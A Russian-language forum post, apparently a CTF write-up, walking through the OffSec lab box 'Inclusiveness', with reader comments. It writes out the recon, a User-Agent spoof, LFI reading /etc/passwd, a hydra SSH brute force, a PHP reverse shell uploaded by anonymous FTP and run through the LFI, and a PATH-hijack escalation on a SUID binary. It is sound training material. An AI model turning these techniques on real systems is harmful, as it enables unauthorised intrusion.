Заметка CTF Inclusiveness - Offensive Security

Темы, которые НЕ подходят по объему под префикс "Статья"

Qulan

Red Team
06.12.2020
171
515
BIT
400
Приветствую!
Стоило мне в предыдущем своем посте написать от том, что мне не попадаются коробки о которых хотелось бы написать, как сразу же мне встречается сказочный зверек в лице Inclusiveness от OffSec. Эта машина сразу же начала давать отпор и я постоянно сталкивался с вещами которые мне не знакомы, а соответствено было чему учиться.

Начнем
Name: Inclusiveness
OffSec level: Easy
Author level: intermediate

Recon/Enum:
Сканирую хост на доступные порты, ОС nmap -A -p- 192.168.1.8 -vv
Код:
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Feb 08  2020 pub [NSE: writeable]
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.49.134
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 06:1b:a3:92:83:a5:7a:15:bd:40:6e:0c:8d:98:27:7b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Yl88LxuiPiXQGaZ6fB6K88oCmL/yXhY4Y3j/9PjnFHPRCqM18y4Ol7Q9LMr5CN042Zs/WMt05YE99R5j98fPGD0hIqxKpRpW8ZeDsfZdG479t3dSkM0OAL+hY4V4Wwbk768DxnLUw0ujGuh38UDl3gyYVBFpFZgRb7zBuYRzjIdWijpXm23sbXti4TO6KTC4KVm1BTzT4CVFxBakuuvk1Ieraeusc9agTfCVx7dkN2OX79jAc1uzZNE+BtokFGIYMvMAA7ejZT504cp1Bccbn+OUwlcRLFJbOO2jrXPj8j4MKEz6klMO7mIMvaHFRQ1Z5kBtH7QIGG97D5qhkD8X
|   256 cb:38:83:26:1a:9f:d3:5d:d3:fe:9b:a1:d3:bc:ab:2c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGNCidfAh8l1B4elJK42/1YqrUEBlGWDjg7ZWacpptAfCGBbSC+agR4LWiEtsnQYX4aWXRGydjc7UggCgpHbDr0=
|   256 65:54:fc:2d:12:ac:e1:84:78:3e:00:23:fb:e4:c9:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEkCe1XYRTFeHyzWuvZ3JkIkWwD4pGHBcTGEGYYcJhv
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Выделяю для себя то что представляет интерес:
Код:
21 FTP anonymous
80 http apache 2.4.38 OS Debian
Первым делом топаю на 21 порт, так как это быстро:
ftp 192.168.1.8
Код:
Connected to 192.168.1.8.
220 (vsFTPd 3.0.3)
Name (192.168.1.8:qulan): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Feb 08  2020 pub
226 Directory send OK.
ftp>
Вижу директорию pub и иду туда:
Код:
cd pub
и она пустая (((

Ок, двигаемся к HTTP. Перейдя на сайт вижу страницу приветствия Apache2

1618133122800.png


Ставлю gobuster для поиска скрытых дерикторий:
Код:
gobuster dir -u http://192.168.1.8/ -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 30 -e
Пока gobuster трудится, вспоминаю первый раздел методологии OWASP "Сбор информации".

Веб сервер определен, проверяем robots.txt для определения дерикторий закрытых для индексации.
В браузере:
Код:
http://192.168.1.8/robots.txt
И вижу вот такой месседж

1618133588300.png


Тут мне вежлево (иди в жоп...) говорят что я не поисковый движок и поэтому не могу просмотреть содержимое файла((( Ну добро, включаю логику!

Если на стороне хоста стоит некий фильтр, то как он работает? Мне говорят что я не поисковый робот, а как фильтр это узнает? Все просто, смотрим строение файла robots.txt в гугле:

1618133829800.png


И так, нас фильтруют по User-Agent, соответственно нужно подменить его и обратиться от лица поискового робота. Я сделаю это с помощью CURL:
Код:
curl http://192.168.1.8/robots.txt --user-agent Googlebot
User-agent: *
Disallow: /secret_information/
И нам возвращают содержимое файла robots.txt в котором стоит запрет на индексацию /secret_information/
К этому времени gobuster сделал свое дело и не дал результата. Значит идем в

1618134206500.png


Тут мне рассказывают о некоемом методе атаки, беру себе на карандаш чтоб перед сном почитать))) Вижу две ссылки для смены языка, кликаю каждую.

В обоих случаях в адресной строке мне возвращают строчку вида:
Код:
http://192.168.1.8/secret_information/?lang=es.php
?lang=es.php - обращение на запуск файла php. Первая мысль в голове: - LFI?
Пробую прочитать /etc/passwd. В два раза нахожу корень и ...

1618134544600.png


Таки да, LFI! Нахожу нейм пользователя tom

Так как я имею логин, я могу попробовать сбрутить пароль в надежде на то, что он слабый. Ставлю hydra на ssh:
Код:
  hydra -t 8 -l tom -P /usr/share/wordlists/rockyou.txt -vV 192.168.1.8 ssh
Пока Hydra работает, смортю что еще я могу сделать с LFI. Попробовать прочитать /etc/shadow! Но это не дало результата((( Я мог бы прочитать id_rsa в домашнем каталоге юзера tom:

1618134911100.png


Но нет(((( И на этой ноте, я начал гуглить и читать все что находил по LFI. Через 40 минут проснулся мелкий и я понял, что на сегодня все... Но оставил hydra работать. Через 2 часа упорного brutforce, я понял что сбрутить видимо не удастся и закрыл комп.((( В течении дня, я копаясь в телефоне находил разные моменты по LFI и все сохранял, чтоб на следующий день пройтись по этим материалам.

День 2-й
Как только я дождался когда ребенок уснет, сразу бросился запускать коробку и пробовать все то, что читал и сохранял. У меня было четкое понимание, что мне нужно что-то с делать с этой уязвимостью, но все материалы собраные мной не давали результата((( Через 2 часа, понимая что ребеного вот-вот встанет, я принял решение которое не люблю принемать, взять подсказку! Реально я исчерпал свои знания в рамках того материала который был мной пройден и усвоен. Решено, иду смотреть подсказку!

Exploiting LFI

В первом же райтапе нахожу вот это:

1618163823500.jpeg


Вот что я должен был сделать с этой уязвимостью. Закрываю райтап и двигаюсь читать конфиг ftp сервиса. Таки да, в конфиге прописана возможность заливать файлы на ftp от лица anonymous. Топаю к себе и настраиваю реверс шелл!

Код:
ftp 192.168.1.9
cd pub
put shell.php
Код:
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.02 secs (356.5002 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-rw-    1 118      125          5493 Apr 12 04:08 shell.php
226 Directory send OK.
Супер, шелл залит! Настраиваем листенера nc -lvnp 1234 и через браузер обращаемся к файлу:
Код:
http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php
Оболочка получена))
Код:
nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.1.9 33322
Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
04:15:12 up 12 min,  0 users,  load average: 0.00, 0.02, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Наверное у кого-то появилась мысль: - А почему http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php? Мы же не используем тут LFI!

Отвечаю:
LFI дает возможность обратиться к файлу с целью его чтения, а не исполнения! В данном случаем мы знали, что http://192.168.1.9/secret_information/?lang= ведет к обращению с целью исполнения, так как тут мы обращались к файлам php с языками. Только теперь мы сменили файл с языком на файл с шеллом и прописали полный путь, который прочитали в конфиге.

Privelage Escalation

Первым делом нам требуется получить стабильную -интерактивную оболочку. Это делается в 3 шага:

  1. python3 -c 'import pty;pty.spawn("/bin/bash")' - На этом этапе наша оболочка будет выглядеть немного красивее, но мы по прежнему не сможем использовать автозаполнение вкладок или клавиши со стрелками, а Ctrl + C все равно убьет оболочку.
  2. export TERM=xterm - это даст нам доступ к командам term, таким как clear
  3. В нашем собственном терминале мы используем stty raw -echo; fg - Это делает две вещи: во-первых, он отключает наше собственное эхо терминала (что дает нам доступ к автозаполнению вкладок, клавишам со стрелками и Ctrl + C для уничтожения процессов). Затем он переводит оболочку на передний план, завершая процесс.
И вуаля у нас стабильная (более -менее) оболочка)))

Первым делом бросаюсь в каталог пользователя tom:
Код:
www-data@inclusiveness:/$ cd /home/tom && ls -la
Код:
total 100
drwxr-xr-x 15 tom  tom   4096 Feb  8  2020 .
drwxr-xr-x  3 root root  4096 Feb  8  2020 ..
-rw-------  1 tom  tom    684 Feb  8  2020 .ICEauthority
-rw-r--r--  1 tom  tom    220 Feb  8  2020 .bash_logout
-rw-r--r--  1 tom  tom   3526 Feb  8  2020 .bashrc
drwx------ 10 tom  tom   4096 Feb  8  2020 .cache
drwx------ 10 tom  tom   4096 Feb  8  2020 .config
drwx------  3 tom  tom   4096 Feb  8  2020 .gnupg
drwx------  3 tom  tom   4096 Feb  8  2020 .local
-rw-r--r--  1 tom  tom    807 Feb  8  2020 .profile
drwx------  2 tom  tom   4096 Feb  8  2020 .ssh
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Desktop
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Documents
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Downloads
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Music
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Pictures
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Public
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Templates
drwxr-xr-x  2 tom  tom   4096 Feb  8  2020 Videos
-rwsr-xr-x  1 root root 16976 Feb  8  2020 rootshell
-rw-r--r--  1 tom  tom    448 Feb  8  2020 rootshell.c
Опля... А тут сразу задача)) Авторы не заморачивались, теперь понятно с чем работать:
Код:
-rwsr-xr-x  1 root root 16976 Feb  8  2020 rootshell
-rw-r--r--  1 tom  tom    448 Feb  8  2020 rootshell.c
Видим suid файл rootshell и его исходник. Сразу читаю исходник чтоб понять что делает сам файл:
www-data@inclusiveness:/home/tom$ cat rootshell.c
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");

    char user[80];
    fgets(user, 80, f);

    printf("you are: %s\n", user);
    //printf("your euid is: %i\n", geteuid());

    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
    setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}
Я не знаю языка С, но имею навыки работы с python. Начинаю копать документацию чтоб разобраться в том, как работает программа.

1618166597500.png


FILE* f = popen("whoami", "r"); - Все понятно, мы открываем так называемую трубу (я не знаю что это значит) и выполняем системную команду whoami и помещаем в переменую f

char user[80]; - задаем переменую user
fgets(user, 80, f); - помещаем в переменую user символы из f

1618166824900.png

Код:
if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
    setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
strncmp - Функция побайтно сравнивает коды символов двух строк, на которые указывают аргументы функции. В нашем случае, мы сравниваем первые 3 символа в user c tom и если они True то устанавливаем uid:

1618167273100.png


То есть root и вызываем оболочку. Еще раз вернемся к полному коду:
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");

    char user[80];
    fgets(user, 80, f);

    printf("you are: %s\n", user);
    //printf("your euid is: %i\n", geteuid());

    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
    setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}
Логика:
При запуске rootshell, происходит вызов сисной команды whoami, которая возвращает имя текущего пользователя. Это имя сравнивается с tom и если они равны, то нам дают оболочку от root!

Пробую запустить rootshell:

1618167542200.png


И тут не поспоришь, я не TOM)))

Скажу что я решил что мне нужно подняться на уровень пользователя tom. Я потратил на это 1.5 часа, перебрав все варианты которые знал, но нечего не вышло. Мелкий проснулся, а значит пора заканчивать!

День 3-й
Ночью не мог уснуть((( В голове происходил поиск решений этой задачи. Я понимал что вариантов подняться до tom у меня нет (или я о них не знаю). Закрывая глаза, передомной появлялся код программы (это жесть просто 2 часа ночи).
Код:
int main() {

    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");
Ага, мы же обращаемся к whoami не использую полный путь, а что если подменить системную команду на свою? Идея.. Спать!

Утром порешав все дела и уложив мелкого, двинулся в сторону компа тестировать свою ночную догадку...
Так, а если создать псевдо-whoami и вернуть через нее оболочку root? Мы же от рута работаем! (Думал я)
Код:
www-data@inclusiveness:/home/tom$ echo '/bin/sh' > /tmp/whoami
www-data@inclusiveness:/home/tom$ chmod +x /tmp/whoami
Создал свой whoami. Теперь требуется подставить дерикторию /tmp в окружение, чтоб оболочка обратилась имено к псевдо -whoami.
Код:
www-data@inclusiveness:/home/tom$ export PATH=/tmp:$PATH
www-data@inclusiveness:/home/tom$ $PATH
bash: /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: No such file or directory
Ок, пришло время триумфа)))

1618216465300.png


Не работает((( Почему? Да потому, что rootshell это программа, а не bash скрипт. И в отличии от bash скрипта, даже если файл и выполняет какие-то действия от рута (он же suid root), он не обращается к оболочке как root))) Блин, а чего делать?

Рассуждаем... Если идет вызов whoami через оболочку текущего пользователя и далее следует проверка на tom, то каким-то образом наш псевдо -whoami должен вернуть имя пользователя tom. Сделал кофе, притромбовал трубку и закурил... Ок, думаю я, стандартная команда whoami возвращает имя пользователя, но у нас же есть еще и команда id, которая возвращает имя, группы и id.

Выпив кофе, сел смотреть man id
Код:
-u, --user
              print only the effective user ID
Ага, через id -u name, мы можем вернуть ID указаного юзера. Пробуем..

1618217055200.png


Так-так, мы можем вывести id любого пользователя системы! А можем ли вывести его имя?
Код:
-n, --name
              print a name instead of a number, for -ugG
Пробую:
Код:
www-data@inclusiveness:/home/tom$ id -n 1000
id: cannot print only names or real IDs in default format
Ругается, а так id -un 1000

1618217998500.png


Та-та-та-тааа!!!! Бинго!!! Переделываю свой whoami и запускаю rootshell
Код:
www-data@inclusiveness:/home/tom$ ./rootshell
checking if you are tom...
you are: tom

access granted.
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
#
Мы есть ROOT

Итог:
В целом эта коробка заставила меня пострадать и от этого я получил реальный КАЙФФФФ!!! Да, мне пришлось взять подсказку, но мне за нее не стыдно! Угрызений совести или самобичевания нет. Я понимаю, что я бы не решил задачу сам, так как моих знаний было не достаточно. Но теперь я знаю, что нужно составить список конфигов разных сервисов и служб, чтоб в дальнейшем его использовать.

С Уважением!
 
Последнее редактирование:
02.03.2021
562
404
BIT
276
Отличная статья Qulan, хорошо описал ход мыслей!
Если сделаеш "нужно составить список конфигов разных сервисов и служб" поделись пожалуста.
 
  • Нравится
Реакции: nks1ck

nks1ck

Green Team
02.11.2020
223
109
BIT
0
Если больше часа не могу решить - иду за подсказками. Не знаю как это побороть....
 

Qulan

Red Team
06.12.2020
171
515
BIT
400
Отличная статья Qulan, хорошо описал ход мыслей!
Если сделаеш "нужно составить список конфигов разных сервисов и служб" поделись пожалуста.
Спасибо. Обязательно поделюсь )

Если больше часа не могу решить - иду за подсказками. Не знаю как это побороть....
Ох как я понимаю))) но если разок пройдешь сам выстрадав, получаешь такой кайф в виде эмоций, что потом будешь их решать только ради этого кайфа))) мне даже хочется чтоб попадались машины от которых голова болит. Но потом .... Вообщем попробуй один раз не поддаться и решить самостоятельно
 
  • Нравится
Реакции: nks1ck

nks1ck

Green Team
02.11.2020
223
109
BIT
0
Ох как я понимаю))) но если разок пройдешь сам выстрадав, получаешь такой кайф в виде эмоций, что потом будешь их решать только ради этого кайфа))) мне даже хочется чтоб попадались машины от которых голова болит. Но потом .... Вообщем попробуй один раз не поддаться и решить самостоятельно
Даа, вот на выходных решал таску ~2.5 часа по форензике. Когда решил таску без подсказок, то такой кайф получил.... Желание посмотреть подсказку возникает от не знания куда копать.
 
  • Нравится
Реакции: Qulan
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!